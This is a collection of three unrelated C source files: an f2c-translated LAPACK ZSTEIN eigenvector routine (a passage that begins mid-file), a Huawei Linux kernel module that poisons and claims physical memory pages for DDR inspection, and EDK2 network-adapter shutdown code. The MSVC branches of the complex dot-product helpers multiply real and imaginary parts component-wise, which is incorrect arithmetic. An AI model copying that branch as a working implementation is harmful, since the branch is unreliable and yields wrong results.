mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__2 = 2; static integer c__1 = 1; static integer c_n1 = -1; /* > \brief \b ZSTEIN */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download ZSTEIN + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zstein. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zstein. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zstein. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE ZSTEIN( N, D, E, M, W, IBLOCK, ISPLIT, Z, LDZ, WORK, */ /* IWORK, IFAIL, INFO ) */ /* INTEGER INFO, LDZ, M, N */ /* INTEGER IBLOCK( * ), IFAIL( * ), ISPLIT( * ), */ /* $ IWORK( * ) */ /* DOUBLE PRECISION D( * ), E( * ), W( * ), WORK( * ) */ /* COMPLEX*16 Z( LDZ, * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > ZSTEIN computes the eigenvectors of a real symmetric tridiagonal */ /* > matrix T corresponding to specified eigenvalues, using inverse */ /* > iteration. */ /* > */ /* > The maximum number of iterations allowed for each eigenvector is */ /* > specified by an internal parameter MAXITS (currently set to 5). */ /* > */ /* > Although the eigenvectors are real, they are stored in a complex */ /* > array, which may be passed to ZUNMTR or ZUPMTR for back */ /* > transformation to the eigenvectors of a complex Hermitian matrix */ /* > which was reduced to tridiagonal form. */ /* > */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] D */ /* > \verbatim */ /* > D is DOUBLE PRECISION array, dimension (N) */ /* > The n diagonal elements of the tridiagonal matrix T. */ /* > \endverbatim */ /* > */ /* > \param[in] E */ /* > \verbatim */ /* > E is DOUBLE PRECISION array, dimension (N-1) */ /* > The (n-1) subdiagonal elements of the tridiagonal matrix */ /* > T, stored in elements 1 to N-1. */ /* > \endverbatim */ /* > */ /* > \param[in] M */ /* > \verbatim */ /* > M is INTEGER */ /* > The number of eigenvectors to be found. 0 <= M <= N. */ /* > \endverbatim */ /* > */ /* > \param[in] W */ /* > \verbatim */ /* > W is DOUBLE PRECISION array, dimension (N) */ /* > The first M elements of W contain the eigenvalues for */ /* > which eigenvectors are to be computed. The eigenvalues */ /* > should be grouped by split-off block and ordered from */ /* > smallest to largest within the block. ( The output array */ /* > W from DSTEBZ with ORDER = 'B' is expected here. ) */ /* > \endverbatim */ /* > */ /* > \param[in] IBLOCK */ /* > \verbatim */ /* > IBLOCK is INTEGER array, dimension (N) */ /* > The submatrix indices associated with the corresponding */ /* > eigenvalues in W; IBLOCK(i)=1 if eigenvalue W(i) belongs to */ /* > the first submatrix from the top, =2 if W(i) belongs to */ /* > the second submatrix, etc. ( The output array IBLOCK */ /* > from DSTEBZ is expected here. ) */ /* > \endverbatim */ /* > */ /* > \param[in] ISPLIT */ /* > \verbatim */ /* > ISPLIT is INTEGER array, dimension (N) */ /* > The splitting points, at which T breaks up into submatrices. */ /* > The first submatrix consists of rows/columns 1 to */ /* > ISPLIT( 1 ), the second of rows/columns ISPLIT( 1 )+1 */ /* > through ISPLIT( 2 ), etc. */ /* > ( The output array ISPLIT from DSTEBZ is expected here. ) */ /* > \endverbatim */ /* > */ /* > \param[out] Z */ /* > \verbatim */ /* > Z is COMPLEX*16 array, dimension (LDZ, M) */ /* > The computed eigenvectors. The eigenvector associated */ /* > with the eigenvalue W(i) is stored in the i-th column of */ /* > Z. Any vector which fails to converge is set to its current */ /* > iterate after MAXITS iterations. */ /* > The imaginary parts of the eigenvectors are set to zero. */ /* > \endverbatim */ /* > */ /* > \param[in] LDZ */ /* > \verbatim */ /* > LDZ is INTEGER */ /* > The leading dimension of the array Z. LDZ >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[out] WORK */ /* > \verbatim */ /* > WORK is DOUBLE PRECISION array, dimension (5*N) */ /* > \endverbatim */ /* > */ /* > \param[out] IWORK */ /* > \verbatim */ /* > IWORK is INTEGER array, dimension (N) */ /* > \endverbatim */ /* > */ /* > \param[out] IFAIL */ /* > \verbatim */ /* > IFAIL is INTEGER array, dimension (M) */ /* > On normal exit, all elements of IFAIL are zero. */ /* > If one or more eigenvectors fail to converge after */ /* > MAXITS iterations, then their indices are stored in */ /* > array IFAIL. */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > > 0: if INFO = i, then i eigenvectors failed to converge */ /* > in MAXITS iterations. Their indices are stored in */ /* > array IFAIL. */ /* > \endverbatim */ /* > \par Internal Parameters: */ /* ========================= */ /* > */ /* > \verbatim */ /* > MAXITS INTEGER, default = 5 */ /* > The maximum number of iterations performed. */ /* > */ /* > EXTRA INTEGER, default = 2 */ /* > The number of iterations performed after norm growth */ /* > criterion is satisfied, should be at least 1. */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complex16OTHERcomputational */ /* ===================================================================== */ /* Subroutine */ int zstein_(integer *n, doublereal *d__, doublereal *e, integer *m, doublereal *w, integer *iblock, integer *isplit, doublecomplex *z__, integer *ldz, doublereal *work, integer *iwork, integer *ifail, integer *info) { /* System generated locals */ integer z_dim1, z_offset, i__1, i__2, i__3, i__4, i__5; doublereal d__1, d__2, d__3, d__4, d__5; doublecomplex z__1; /* Local variables */ integer jblk, nblk, jmax; extern doublereal dnrm2_(integer *, doublereal *, integer *); integer i__, j; extern /* Subroutine */ int dscal_(integer *, doublereal *, doublereal *, integer *); integer iseed[4], gpind, iinfo; extern /* Subroutine */ int dcopy_(integer *, doublereal *, integer *, doublereal *, integer *); integer b1, j1; doublereal ortol; integer indrv1, indrv2, indrv3, indrv4, indrv5, bn; extern doublereal dlamch_(char *); integer jr; extern /* Subroutine */ int dlagtf_(integer *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, integer * , integer *); doublereal xj; extern integer idamax_(integer *, doublereal *, integer *); extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen), dlagts_( integer *, integer *, doublereal *, doublereal *, doublereal *, doublereal *, integer *, doublereal *, doublereal *, integer *); integer nrmchk; extern /* Subroutine */ int dlarnv_(integer *, integer *, integer *, doublereal *); integer blksiz; doublereal onenrm, dtpcrt, pertol, scl, eps, sep, nrm, tol; integer its; doublereal xjm, ztr, eps1; /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Test the input parameters. */ /* Parameter adjustments */ --d__; --e; --w; --iblock; --isplit; z_dim1 = *ldz; z_offset = 1 + z_dim1 * 1; z__ -= z_offset; --work; --iwork; --ifail; /* Function Body */ *info = 0; i__1 = *m; for (i__ = 1; i__ <= i__1; ++i__) { ifail[i__] = 0; /* L10: */ } if (*n < 0) { *info = -1; } else if (*m < 0 || *m > *n) { *info = -4; } else if (*ldz < f2cmax(1,*n)) { *info = -9; } else { i__1 = *m; for (j = 2; j <= i__1; ++j) { if (iblock[j] < iblock[j - 1]) { *info = -6; goto L30; } if (iblock[j] == iblock[j - 1] && w[j] < w[j - 1]) { *info = -5; goto L30; } /* L20: */ } L30: ; } if (*info != 0) { i__1 = -(*info); xerbla_("ZSTEIN", &i__1, (ftnlen)6); return 0; } /* Quick return if possible */ if (*n == 0 || *m == 0) { return 0; } else if (*n == 1) { i__1 = z_dim1 + 1; z__[i__1].r = 1., z__[i__1].i = 0.; return 0; } /* Get machine constants. */ eps = dlamch_("Precision"); /* Initialize seed for random number generator DLARNV. */ for (i__ = 1; i__ <= 4; ++i__) { iseed[i__ - 1] = 1; /* L40: */ } /* Initialize pointers. */ indrv1 = 0; indrv2 = indrv1 + *n; indrv3 = indrv2 + *n; indrv4 = indrv3 + *n; indrv5 = indrv4 + *n; /* Compute eigenvectors of matrix blocks. */ j1 = 1; i__1 = iblock[*m]; for (nblk = 1; nblk <= i__1; ++nblk) { /* Find starting and ending indices of block nblk. */ if (nblk == 1) { b1 = 1; } else { b1 = isplit[nblk - 1] + 1; } bn = isplit[nblk]; blksiz = bn - b1 + 1; if (blksiz == 1) { goto L60; } gpind = j1; /* Compute reorthogonalization criterion and stopping criterion. */ onenrm = (d__1 = d__[b1], abs(d__1)) + (d__2 = e[b1], abs(d__2)); /* Computing MAX */ d__3 = onenrm, d__4 = (d__1 = d__[bn], abs(d__1)) + (d__2 = e[bn - 1], abs(d__2)); onenrm = f2cmax(d__3,d__4); i__2 = bn - 1; for (i__ = b1 + 1; i__ <= i__2; ++i__) { /* Computing MAX */ d__4 = onenrm, d__5 = (d__1 = d__[i__], abs(d__1)) + (d__2 = e[ i__ - 1], abs(d__2)) + (d__3 = e[i__], abs(d__3)); onenrm = f2cmax(d__4,d__5); /* L50: */ } ortol = onenrm * .001; dtpcrt = sqrt(.1 / blksiz); /* Loop through eigenvalues of block nblk. */ L60: jblk = 0; i__2 = *m; for (j = j1; j <= i__2; ++j) { if (iblock[j] != nblk) { j1 = j; goto L180; } ++jblk; xj = w[j]; /* Skip all the work if the block size is one. */ if (blksiz == 1) { work[indrv1 + 1] = 1.; goto L140; } /* If eigenvalues j and j-1 are too close, add a relatively */ /* small perturbation. */ if (jblk > 1) { eps1 = (d__1 = eps * xj, abs(d__1)); pertol = eps1 * 10.; sep = xj - xjm; if (sep < pertol) { xj = xjm + pertol; } } its = 0; nrmchk = 0; /* Get random starting vector. */ dlarnv_(&c__2, iseed, &blksiz, &work[indrv1 + 1]); /* Copy the matrix T so it won't be destroyed in factorization. */ dcopy_(&blksiz, &d__[b1], &c__1, &work[indrv4 + 1], &c__1); i__3 = blksiz - 1; dcopy_(&i__3, &e[b1], &c__1, &work[indrv2 + 2], &c__1); i__3 = blksiz - 1; dcopy_(&i__3, &e[b1], &c__1, &work[indrv3 + 1], &c__1); /* Compute LU factors with partial pivoting ( PT = LU ) */ tol = 0.; dlagtf_(&blksiz, &work[indrv4 + 1], &xj, &work[indrv2 + 2], &work[ indrv3 + 1], &tol, &work[indrv5 + 1], &iwork[1], &iinfo); /* Update iteration count. */ L70: ++its; if (its > 5) { goto L120; } /* Normalize and scale the righthand side vector Pb. */ jmax = idamax_(&blksiz, &work[indrv1 + 1], &c__1); /* Computing MAX */ d__3 = eps, d__4 = (d__1 = work[indrv4 + blksiz], abs(d__1)); scl = blksiz * onenrm * f2cmax(d__3,d__4) / (d__2 = work[indrv1 + jmax], abs(d__2)); dscal_(&blksiz, &scl, &work[indrv1 + 1], &c__1); /* Solve the system LU = Pb. */ dlagts_(&c_n1, &blksiz, &work[indrv4 + 1], &work[indrv2 + 2], & work[indrv3 + 1], &work[indrv5 + 1], &iwork[1], &work[ indrv1 + 1], &tol, &iinfo); /* Reorthogonalize by modified Gram-Schmidt if eigenvalues are */ /* close enough. */ if (jblk == 1) { goto L110; } if ((d__1 = xj - xjm, abs(d__1)) > ortol) { gpind = j; } if (gpind != j) { i__3 = j - 1; for (i__ = gpind; i__ <= i__3; ++i__) { ztr = 0.; i__4 = blksiz; for (jr = 1; jr <= i__4; ++jr) { i__5 = b1 - 1 + jr + i__ * z_dim1; ztr += work[indrv1 + jr] * z__[i__5].r; /* L80: */ } i__4 = blksiz; for (jr = 1; jr <= i__4; ++jr) { i__5 = b1 - 1 + jr + i__ * z_dim1; work[indrv1 + jr] -= ztr * z__[i__5].r; /* L90: */ } /* L100: */ } } /* Check the infinity norm of the iterate. */ L110: jmax = idamax_(&blksiz, &work[indrv1 + 1], &c__1); nrm = (d__1 = work[indrv1 + jmax], abs(d__1)); /* Continue for additional iterations after norm reaches */ /* stopping criterion. */ if (nrm < dtpcrt) { goto L70; } ++nrmchk; if (nrmchk < 3) { goto L70; } goto L130; /* If stopping criterion was not satisfied, update info and */ /* store eigenvector number in array ifail. */ L120: ++(*info); ifail[*info] = j; /* Accept iterate as jth eigenvector. */ L130: scl = 1. / dnrm2_(&blksiz, &work[indrv1 + 1], &c__1); jmax = idamax_(&blksiz, &work[indrv1 + 1], &c__1); if (work[indrv1 + jmax] < 0.) { scl = -scl; } dscal_(&blksiz, &scl, &work[indrv1 + 1], &c__1); L140: i__3 = *n; for (i__ = 1; i__ <= i__3; ++i__) { i__4 = i__ + j * z_dim1; z__[i__4].r = 0., z__[i__4].i = 0.; /* L150: */ } i__3 = blksiz; for (i__ = 1; i__ <= i__3; ++i__) { i__4 = b1 + i__ - 1 + j * z_dim1; i__5 = indrv1 + i__; z__1.r = work[i__5], z__1.i = 0.; z__[i__4].r = z__1.r, z__[i__4].i = z__1.i; /* L160: */ } /* Save the shift to check eigenvalue spacing at next */ /* iteration. */ xjm = xj; /* L170: */ } L180: ; } return 0; /* End of ZSTEIN */ } /* zstein_ */
74146.c
/* * Copyright (c) Huawei Technologies Co., Ltd. 2018-2019. All rights reserved. * Description: ddr inspect reqeust page * Author: zhouyubin * Create: 2019-05-30 * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include "page_claiming.h" #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/errno.h> #include <linux/types.h> #include <linux/fcntl.h> #include <linux/uaccess.h> #include <linux/mm.h> #include <linux/mmzone.h> #include <linux/page-flags.h> #include <linux/pageblock-flags.h> #include <linux/page-isolation.h> #include <linux/gfp.h> #include <linux/memory_hotplug.h> #include <linux/vmstat.h> #include <linux/page_ext.h> #include <linux/printk.h> #include <linux/version.h> #include <linux/uaccess.h> #include <linux/log2.h> #include <linux/gfp.h> #include <securec.h> #include <linux/swap.h> #include "internal.h" #include "phys_mem.h" #define pfn(address) page_to_pfn(virt_to_page(((void *)(address)))) unsigned int g_conti_nr_pfn; unsigned int g_conti_order; static int alloc_conti_pages_section(struct phys_mem_session *session, struct phys_mem_request *request); int set_pfn_poisoned(unsigned long pfn) { struct page *p = NULL; int res = 0; p = pfn_to_page(pfn); #ifdef CONFIG_MEMORY_FAILURE if (TestSetPageHWPoison(p)) { pr_err("%s: %#lx: already hardware poisoned\n", __func__, pfn); return 0; } /* atomic_long_inc num_poisoned_pages */ shake_page(p, 0); lock_page(p); if (!PageHWPoison(p)) { pr_err("%s:: %#lx:not hwpoison\n", __func__, pfn); /* atomic_long_dec num_poisoned_pages */ unlock_page(p); put_hwpoison_page(p); return 0; } wait_on_page_writeback(p); unlock_page(p); if (!get_hwpoison_page(p)) { if (is_free_buddy_page(p)) return 0; else return -EBUSY; } #endif return res; } int handle_mark_page_poison(struct phys_mem_session *session, const struct mark_page_poison *request) { int ret = 0; struct zone *zone = NULL; if ((session == NULL) || (request == NULL)) return -EINVAL; if (down_interruptible(&session->sem)) return -ERESTARTSYS; if (unlikely((get_state(session) != SESSION_STATE_MAPPED) && (get_state(session) != SESSION_STATE_CONFIGURED))) { pr_err("Session %llu: invalid, IOCTL never appear in state %i\n", session->session_id, get_state(session)); ret = -EINVAL; up(&session->sem); return ret; } #ifdef CONFIG_MEMORY_FAILURE if (!PageHWPoison(pfn_to_page(request->bad_pfn))) { ret = set_pfn_poisoned(request->bad_pfn); if (ret) { up(&session->sem); return ret; } } #endif /* Ensure that all poisoned pages are removed from per-cpu lists */ for_each_populated_zone(zone) drain_all_pages(zone); up(&session->sem); return ret; } int handle_request_pages(struct phys_mem_session *session, struct phys_mem_request *request) { int ret = 0; if ((session == NULL) || (request == NULL)) return -EINVAL; if (down_interruptible(&session->sem)) return -ERESTARTSYS; if (unlikely((get_state(session) != SESSION_STATE_OPEN) && (get_state(session) != SESSION_STATE_CONFIGURED))) { if (unlikely(get_state(session) == SESSION_STATE_CONFIGURING)) pr_err("Session %llu: The Request never appear in state %i\n", session->session_id, get_state(session)); else pr_err("Session %llu: The state should never appear in state %i\n", session->session_id, get_state(session)); ret = -EINVAL; up(&session->sem); return ret; } if (get_state(session) == SESSION_STATE_CONFIGURED) free_page_stati(session); set_session_state(session, SESSION_STATE_CONFIGURING); /* * request.req points to an array of request.num_requests many * struct phys_mem_frame_request(s) in userspace. */ if (request->num_requests == 0) { set_session_state(session, SESSION_STATE_OPEN); up(&session->sem); return ret; } session->frame_stati = session_alloc_num_frame_stati(request->num_requests); if (session->frame_stati == NULL) { ret = -ENOMEM; goto out_to_open; } if (memset_s(session->frame_stati, session_frame_stati_size(request->num_requests), 0, session_frame_stati_size(request->num_requests)) != EOK) { pr_err("%s memset_s failed\n", __func__); goto out_to_open; } session->num_frame_stati = request->num_requests; /* Handle all requests */ g_conti_nr_pfn = request->conti_pageframe_cnt; if ((!is_power_of_2(g_conti_nr_pfn)) || (g_conti_nr_pfn == 0)) goto out_to_open; g_conti_order = ilog2(g_conti_nr_pfn); /* * The VMA maps all successfully mapped pages in the same order as * they appear here. The relative offset of the frames * gets returned in vma_offset_of_first_byte. */ ret = alloc_conti_pages_section(session, request); set_session_state(session, SESSION_STATE_CONFIGURED); up(&session->sem); return ret; out_to_open: pr_notice("The Request IOCTL could not be completed!\n"); session->num_frame_stati = 0; free_page_stati(session); set_session_state(session, SESSION_STATE_OPEN); up(&session->sem); return ret; } /* alloc conti pfn like alloc_gigantic_page */ static bool pfn_range_valid(struct zone *z, unsigned long start_pfn, unsigned long nr_pages) { unsigned long i; unsigned long end_pfn = start_pfn + nr_pages; struct page *page = NULL; if (z == NULL) return -EINVAL; for (i = start_pfn; i < end_pfn; i++) { if (!pfn_valid(i)) return false; page = pfn_to_page(i); if (page_zone(page) != z) return false; if (PageReserved(page)) return false; if (page_count(page) > 0) return false; if (PageHuge(page)) return false; } return true; } int alloc_conti_pages(unsigned long start_pfn, unsigned long nr_pages) { unsigned long ret; unsigned long flags; struct zone *z = NULL; z = page_zone(pfn_to_page(start_pfn)); spin_lock_irqsave(&z->lock, flags); if (pfn_range_valid(z, start_pfn, nr_pages)) { spin_unlock_irqrestore(&z->lock, flags); ret = alloc_contig_range(start_pfn, start_pfn + nr_pages, MIGRATE_MOVABLE, GFP_KERNEL | __GFP_NOWARN); if (!ret) return 0; spin_lock_irqsave(&z->lock, flags); } spin_unlock_irqrestore(&z->lock, flags); return 1; } static int alloc_conti_pages_section(struct phys_mem_session *session, struct phys_mem_request *request) { int ret; int i; int j; int pfn_invalid_flag = 0; unsigned long current_offset_in_vma = 0; unsigned long start_pfn = 0; if ((session == NULL) || (request == NULL)) return -EINVAL; for (i = 0; i < request->num_requests; i++) { struct phys_mem_frame_request __user *current_pfn_request = &request->req[i]; struct phys_mem_frame_status __kernel *current_pfn_status = &session->frame_stati[i]; if (copy_from_user(&current_pfn_status->request, current_pfn_request, sizeof(struct phys_mem_frame_request))) { return CLAIMED_TRY_NEXT; } if (g_conti_nr_pfn != 0 && (current_pfn_status->request.requested_pfn) % g_conti_nr_pfn != 0) { return CLAIMED_TRY_NEXT; } start_pfn = current_pfn_status->request.requested_pfn; pfn_invalid_flag = 0; for (j = 0; j < g_conti_nr_pfn; j++) { if (unlikely(!pfn_valid(start_pfn + j))) pfn_invalid_flag++; } if (pfn_invalid_flag != 0) continue; if (unlikely(!(current_pfn_status->request.allowed_sources & SOURCE_FREE_CONTI_PAGE))) continue; ret = alloc_conti_pages(start_pfn, g_conti_nr_pfn); if (ret == 0) { current_pfn_status->pfn = start_pfn; current_pfn_status->page = pfn_to_page(start_pfn); current_pfn_status->actual_source = SOURCE_FREE_CONTI_PAGE; current_pfn_status->vma_offset_of_first_byte = current_offset_in_vma; current_offset_in_vma += PAGE_SIZE * g_conti_nr_pfn; } else { current_pfn_status->pfn = 0; current_pfn_status->page = NULL; current_pfn_status->actual_source = 0; current_pfn_status->vma_offset_of_first_byte = 0; } } return CLAIMED_SUCCESSFULLY; }
503136.c
/** @file Implementation of shutting down a network adapter. Copyright (c) 2004 - 2018, Intel Corporation. All rights reserved.<BR> SPDX-License-Identifier: BSD-2-Clause-Patent **/ #include "Snp.h" /** Call UNDI to shut down the interface. @param Snp Pointer to snp driver structure. @retval EFI_SUCCESS UNDI is shut down successfully. @retval EFI_DEVICE_ERROR UNDI could not be shut down. **/ EFI_STATUS PxeShutdown ( IN SNP_DRIVER *Snp ) { Snp->Cdb.OpCode = PXE_OPCODE_SHUTDOWN; Snp->Cdb.OpFlags = PXE_OPFLAGS_NOT_USED; Snp->Cdb.CPBsize = PXE_CPBSIZE_NOT_USED; Snp->Cdb.DBsize = PXE_DBSIZE_NOT_USED; Snp->Cdb.CPBaddr = PXE_CPBADDR_NOT_USED; Snp->Cdb.DBaddr = PXE_DBADDR_NOT_USED; Snp->Cdb.StatCode = PXE_STATCODE_INITIALIZE; Snp->Cdb.StatFlags = PXE_STATFLAGS_INITIALIZE; Snp->Cdb.IFnum = Snp->IfNum; Snp->Cdb.Control = PXE_CONTROL_LAST_CDB_IN_LIST; // // Issue UNDI command and check result. // DEBUG ((DEBUG_NET, "\nsnp->undi.shutdown() ")); (*Snp->IssueUndi32Command)((UINT64)(UINTN)&Snp->Cdb); if (Snp->Cdb.StatCode != PXE_STATCODE_SUCCESS) { // // UNDI could not be shutdown. Return UNDI error. // DEBUG ((DEBUG_WARN, "\nsnp->undi.shutdown() %xh:%xh\n", Snp->Cdb.StatFlags, Snp->Cdb.StatCode)); return EFI_DEVICE_ERROR; } // // Free allocated memory. // if (Snp->TxRxBuffer != NULL) { Snp->PciIo->FreeBuffer ( Snp->PciIo, SNP_MEM_PAGES (Snp->TxRxBufferSize), (VOID *)Snp->TxRxBuffer ); } Snp->TxRxBuffer = NULL; Snp->TxRxBufferSize = 0; return EFI_SUCCESS; } /** Resets a network adapter and leaves it in a state that is safe for another driver to initialize. This function releases the memory buffers assigned in the Initialize() call. Pending transmits and receives are lost, and interrupts are cleared and disabled. After this call, only the Initialize() and Stop() calls may be used. If the network interface was successfully shutdown, then EFI_SUCCESS will be returned. If the driver has not been initialized, EFI_DEVICE_ERROR will be returned. @param This A pointer to the EFI_SIMPLE_NETWORK_PROTOCOL instance. @retval EFI_SUCCESS The network interface was shutdown. @retval EFI_NOT_STARTED The network interface has not been started. @retval EFI_INVALID_PARAMETER This parameter was NULL or did not point to a valid EFI_SIMPLE_NETWORK_PROTOCOL structure. @retval EFI_DEVICE_ERROR The command could not be sent to the network interface. **/ EFI_STATUS EFIAPI SnpUndi32Shutdown ( IN EFI_SIMPLE_NETWORK_PROTOCOL *This ) { SNP_DRIVER *Snp; EFI_STATUS Status; EFI_TPL OldTpl; // // Get pointer to SNP driver instance for *This. // if (This == NULL) { return EFI_INVALID_PARAMETER; } Snp = EFI_SIMPLE_NETWORK_DEV_FROM_THIS (This); OldTpl = gBS->RaiseTPL (TPL_CALLBACK); // // Return error if the SNP is not initialized. // switch (Snp->Mode.State) { case EfiSimpleNetworkInitialized: break; case EfiSimpleNetworkStopped: Status = EFI_NOT_STARTED; goto ON_EXIT; default: Status = EFI_DEVICE_ERROR; goto ON_EXIT; } Status = PxeShutdown (Snp); Snp->Mode.State = EfiSimpleNetworkStarted; Snp->Mode.ReceiveFilterSetting = 0; Snp->Mode.MCastFilterCount = 0; Snp->Mode.ReceiveFilterSetting = 0; ZeroMem (Snp->Mode.MCastFilter, sizeof Snp->Mode.MCastFilter); CopyMem ( &Snp->Mode.CurrentAddress, &Snp->Mode.PermanentAddress, sizeof (EFI_MAC_ADDRESS) ); gBS->CloseEvent (Snp->Snp.WaitForPacket); ON_EXIT: gBS->RestoreTPL (OldTpl); return Status; }
524670.c
